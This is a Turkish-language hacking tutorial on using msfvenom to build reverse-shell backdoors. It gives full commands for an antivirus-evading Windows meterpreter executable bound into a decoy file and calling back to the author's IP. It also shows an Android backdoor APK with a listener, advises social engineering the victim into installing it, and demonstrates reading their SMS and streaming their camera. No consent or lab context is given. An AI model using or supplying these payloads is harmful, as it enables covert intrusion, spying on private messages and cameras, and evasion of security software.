Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | MSFVenom Kullanımı

MSFVenom Nedir, Nasıl Kullanılır?

Eskiden, payload üretmek ve encode işlemleri yapmak için msfpayload ve msfencode araçları kullanılırdı. Şu anda bu araçlar yerine msfvenom kullanılmaktadır. Bunların dışında da Kali Linux’ta bu işlemleri yapan birçok araç vardır. Kullanımı oldukça basittir. Metasploit framework içinde hazır olarak bulunan bu araç, backdoor ve encode üretmek için en çok kullanılan araçtır.
Şimdi MSFVenom’u incelemeye başlayalım.

Kali Linux’ta terminale mfsvenom -h  yazarak msfvenom’un help sayfasına ulaşırız. Bu sayfada, msfvenom’da kullanabileceğimiz parametreleri ve açıklamalar gösterilmektedir.

Öncelikle teker teker bu parametreleri inceleyelim;

ekran-goruntusu_2016-10-21_22-40-00
-p : MFSVenom’da kullanmak istediğimiz payloadı seçmemizi sağlar. Her payloadın yanında açıklaması bulunmaktadır.
–payload-options : Seçmiş olduğumuz payloadın ayarlarını görüntülememize ve ayarlamamıza olanak sağlıyor.
Kullanımı msfvenom –p <payload adı> –payload-options  şeklindedir.

Bazı payload çeşitleri;

İşletim Sistemi Payloadları

Linux

-p linux/x86/meterpreter/reverse_tcp

Windows

-p windows/meterpreter/reverse_tcp

Mac

-p osx/x86/shell_reverse_tcp

Web Payloadları

PHP

-p php/meterpreter_reverse_tcp

jSP

-p java/jsp_shell_reverse_tcp

Script Payloadları

Python

-p cmd/unix/reverse_python

Bash

-p cmd/unix/reverse_bash

Perl

-p cmd/unix/reverse_perl

-l : Payloads, Encoders, Nops; modül tiplerini listelemeye yarar.

Kullanımı

msfvenom -l payloads
msfvenom -l encoders
msfvenom –l nops

-n : Oluşturacağımız payloadın ilk bytelarında ezilme olabilir. Bu durum payloadımızın yapısını bozacağından çalışmasını engelleyebilir. “-n” parametresi payload başına nopsled eklememize olanak sağlar. Bu sayede payload çalıştığında istediğimiz adrese gelene kadar adreslerin nop (boş işlem) ile dolması sağlanır.
Örnek kullanımı -n 26  şeklindedir. 26 bytelık kısmı nop(\x98\xfd\x40..) ile doldurur.
-f : Kaydedilecek olan çıktının formatını belirlememize olanak sağlar.
-help-formats  komutu ile kaydedebileceğimiz formatları listeler.

Executable Formats (Çalıştırılabilir Formatlar)

asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform Formats(Yazılımsal Formatlar)

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

-e : Kullanmak istediğimiz encoderi seçmemizi sağlar. Encoderlar anti-virüs atlatma işleminde kullanılırlar. Eğer biz seçmezsek, kendisi en uygun encoderi otomatik olarak atayacaktır. Birden fazla encoder seçimi yapabiliriz ve bu sayede anti-virüs programının bizi yakalama olasılığını azaltırız. Rank sütununda, encoderlerın derecelerini görüyoruz. Descriprion sütununda ise bu encoderların açıklamaları bulunmaktadır.

ekran-goruntusu_2016-10-21_22-40-00

-a : Oluşturulan payloadın hangi mimariye göre çalışacağını belirleriz. x86/x64, PPC, Mips, Arm mimarilerini destekler.
–platform : Payloadın hangi platformda çalışacağını atamamıza olanak sağlar.
–help-platforms : netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javacript, python, nodejs, firefox, mainframe, windows
-s : Üretilen payload veya encoderin, byte cinsinden boyutunu belirlememize olanak sağlar.

-b : Payload içinde kullanılmasını istemediğimiz karakterleri(badchars) temizler. Bu karakterler payloadın yapısını bozabilir. Badchars: x00\x0a\x5f\xa4\xba\xaa\xdf\xff ..

-i : Encoding işlemini kaç defa tekrarlamak istediğimizi belirtiriz. Anti-virüs programını atlatmak için defalarca deneyebiliriz.

-c : Bir payloadı bir shell code ile birleştirmemizi sağlar.

-x : Bir payloadı başka bir dosya ile birleştirmemizi sağlar. Bu sayede kullanıcının payloadı fark etme olasılığını azaltmış oluruz. Örneğin, payloadı bir resimle birleştirdiğimizde, kullanıcı payloadı çalıştırınca ön planda resim görünür arka planda ise zararlı kodlar çalışır.

-k : Payloadımızı bir başka payloadla veya dosya ile birleştirdiğimiz zaman, payloadımızın yapısının bozulmamasını sağlar.

-o : Payloadın nereye kaydedileceğini belirtir.

-v : Payloadın adını değiştirmemize olanak sağlar. Default olarak adı “buf” atanır.

Parametrelerle beraber LHOST VE RHOST kavramlarını kullanacağız.
LHOST  kısma kendi IP’mizi gireceğiz.
LPORT  kısmına da dinlemek istediğimiz portu giriyoruz. Bu sayede karşı taraf bu port üzerinden bize ulaşır.

>  Parametresini kullanarak payloadın adını ve kaydedileceği dizini belirlememize olanak sağlar. Dosya kaydetme işlemi hızlı olduğu için genelde payloadlar bu parametre ile kaydedilir.
Kullanımı > /root/Masasüstü/dosyaadı.exe  şeklindedir.

msfvenom -x payloads.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=4445 -f exe -a x86 -o /root/Masaüstü/payload.exe --platform windows -e x86/shikata_ga_nai -i 20  –b “\x00”

 

En sık oluşturulan payload’lardan biridir. Bunun üzerinde parametrelerin kullanımı inceleyelim.

-p Windows/meterpreter/reverse_tcp
  • Burada kullanmak istediğimiz payloadı –p parametresi ile giriyoruz.
LHOST=192.168.171.128 LPORT=4445
  • Üzerine IP ve dinlemek istediğimiz portu giriyoruz. Zararlı yazılım karşı tarafta çalıştığında bize bu IP adresi ve port numarası üzerinden ulaşacaktır.
-x payloads.exe -k

payloadı başka bir dosya ile birleştirdik. –k  parametresi ile yapısını korudu.

  • -o /root/Masaüstü/payload.exe  kaydedileceği dizini ve adını belirttik. -o  yerine >  de kullanılabilirdi.
  • -a x86  x86 mimarisinde çalışacak.
  •  –f exe  payloadımızın formatını seçiyoruz.
  • –platform windows  platform olarak Windows’u seçtik.
  • -e x86/shikata_ga_nai  encode işlemi için seçtiğimiz encodu girdik. Encoderin derecesi arttıkça anti-virüs tarafından yakalanma olasılığını azaltır. Bu yüzden derecesi excellent olduğu için bu encoderi seçtik.
  • -i 20 encode işlemini kaç defa gerçekleştirmek istediğimizi belirttim.
  • -b “\x00”  istemediğimiz x00 karakterini çıkardık.

Oluşturduğumuz payloada sağ tıklayıp özellikleri açıyoruz. Erişim haklarında bulunan dosyayı bir program program gibi çalıştırmaya izin ver butonuna tıklıyoruz. Bu sayede kullanıcının cihazı payloadımızı bir program gibi çalıştırabiliyor.

ekran-goruntusu_2016-10-21_22-40-00

https://canyoupwn.me/tr-backdoor/ ‘da anti-virüs atlatma, backdoor oluşturma anlatılmıştır.
Ben ise msfvenom sayesinde android için backdoor oluşturmayı anlatacağım.

Şimdi android için payload oluşturacağız.

ekran-goruntusu_2016-10-21_22-40-00
İlk önce msfvenom –l payloads  komutu ile payloadları listeliyoruz. Android için payload oluşturmak istediğimizden başında android geçen payloadları inceliyoruz ve buradan bize en uygun payloadı seçiyoruz. Ben android/meterpreter/reverse_tcp  payloadını kullanacağım.

ekran-goruntusu_2016-10-21_22-40-00
LHOST kısma kendi IP adresimizi giriyoruz. LPORT kısmınada dinleyeceğimiz, kullanıcının bize ulaşacağı portu girdikten sonra , > ile payloadın kaydedileceği dizini ve adını  .apk  formatında kaydediyoruz.
Daha sonra  msfconsole  komutu ile metasploiti çalıştırıyoruz.

Metasploit` de;
use exploit/multi/handler  komutu ile exploitimizi çalıştırıyoruz.

ekran-goruntusu_2016-10-21_22-40-00

set payload android/meterpreter/reverse_tcp  komutu ile payloadımızın ayarlar kısmına giriyoruz.
Daha sonra ayarlar kısmında bulunan LHOST ayarını kendi IP’mizle aynı, LPORT kısmını da dinleyeceğimiz portla aynı yapıyoruz.
show options  komutu ile exploitimizin son halini görüntüledik.

Her şey tamam olduktan sonra artık exploitimizi çalıştırabiliriz.
ekran-goruntusu_2016-10-21_22-40-00

exploit/run   komutu ile dinlemeye başlıyoruz
Bu adımdan sonra artık karşı taraftaki kullanıcın payloadı aktif hale getirmesi lazım. Bunun için sosyal mühendislik gibi yöntemler kullanabilir. Payloadın telefona yüklene bilmesi için telefonumuzun güvenlik kısmında bulunan bilinmeyen kaynaklar özelliği açık olmalıdır. Payloadımızın istediği izinler, payload yüklenirken karşımıza çıkar. Kullanıcı buna izin vermelidir.

ekran-goruntusu_2016-10-21_22-40-00

Kullanıcı payloadı aktif hale getirdikten sonra, meterpreter oturumu aktif hale geliyor.

ekran-goruntusu_2016-10-21_22-40-00

sysinfo  komutu ile cihaz hakkında bilgi alabilir. help  komutu ile neler yapabileceklerimizi görebiliriz.

Örneğin;
dump_sms  komutu ile karşı tarafın SMS’lerine ulaşabiliriz.

ekran-goruntusu_2016-10-21_22-40-00
webcam_stream  komutu ile karşı tarafın kamerasına erişim sağlayabiliriz.

ekran-goruntusu_2016-10-21_22-40-00

About CanYouPwnMe

Hero!

Follow Me